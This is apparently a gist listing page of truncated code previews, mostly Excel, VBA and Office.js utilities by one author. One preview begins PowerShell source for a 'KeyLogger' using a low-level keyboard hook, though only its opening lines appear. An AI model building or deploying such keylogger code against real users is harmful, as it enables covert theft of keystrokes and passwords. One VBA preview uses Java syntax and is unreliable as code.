sancarn

The Excel Error

It is quite common at least in our business that when people are building spreadsheets they accidentally link data without properly acknowledging the linkage. This can cause error messages later on which can irritate users. The error messages you might recieve often contian the text:

Microsoft Excel cannot access the file 'https://.../myfile.xlsx'. There are several possible reasons:

or

Cannot download the information you requested

sancarn

Now let's actually look at the code originally investigated in the author's original video ported to VBA

public sub run()
  while true
    Dim path as string
    while (path = requestedUrls.poll()) != null    
      downloads.add(new DownloadState(path))
    wend
    if not me.connectionDisabled then

Dim iterator as ListIterator

sancarn

Subclass excel

Original source:

https://www.mrexcel.com/forum/general-excel-discussion-other-questions/420673-challenging-problem-how-make-excel-subclassing-safe-stable.html

#' Todo:

Might want to make this class based with an event sink.

sancarn

//Made by http://github.com/TarVK

/*******************
 * All helper code *
 *******************/

/**
 * Tokenizes the input text using the given rules
 * @param {string} text The text to tokenize
 * @param {{[key: string]: RegExp}} rules The rules

sancarn

Private Type TokenDefinition
    Name As String
    Regex As String
    RegexObj As Object
End Type
Private Type token
    Type As TokenDefinition
    Value As Variant
    BracketDepth As Long
End Type

sancarn

Add-Type -TypeDefinition @"
using System;
using System.IO;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;

namespace KeyLogger {
  public static class Program {
    private const int WH_KEYBOARD_LL = 13;

sancarn

name: VBA-OfficeJS bridge test
description: A test to attempt to listen to VBA changes to the customXMLParts structure.
host: EXCEL
api_set: {}
script:
  content: |+
    /* VBA USAGE EXAMPLE
    'Example from VBA:
    'Requires JsBridge from here:             https://github.com/sancarn/VbaJsBridge
    'ScriptLab test can be downloaded here:   https://gist.github.com/sancarn/b974b650f4b451ff2de51861af1671b1

sancarn

name: Blank snippet
description: Create a new snippet from a blank template.
host: EXCEL
api_set: {}
script:
  content: |
    type IXMLWatcherListener = (e: any) => void
    class XMLWatcher {
      private interval: number;
      private listeners: IXMLWatcherListener[];

sancarn

#If VBA7 Then
    Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As LongPtr)
    Private Declare PtrSafe Sub ZeroMemory Lib "kernel32" Alias "RtlZeroMemory" (Destination As Any, ByVal Length As Long)
#Else
    Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
    Private Declare Sub ZeroMemory Lib "kernel32" Alias "RtlZeroMemory" (Destination As Any, ByVal Length As Long)
#End If
          
Public Sub test()
  Debug.Print Deref(ObjPtr(Application)).Name

sancarn

VERSION 1.0 CLASS
BEGIN
  MultiUse = -1  'True
END
Attribute VB_Name = "SAPECC"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
'{F9} - Jump to first form value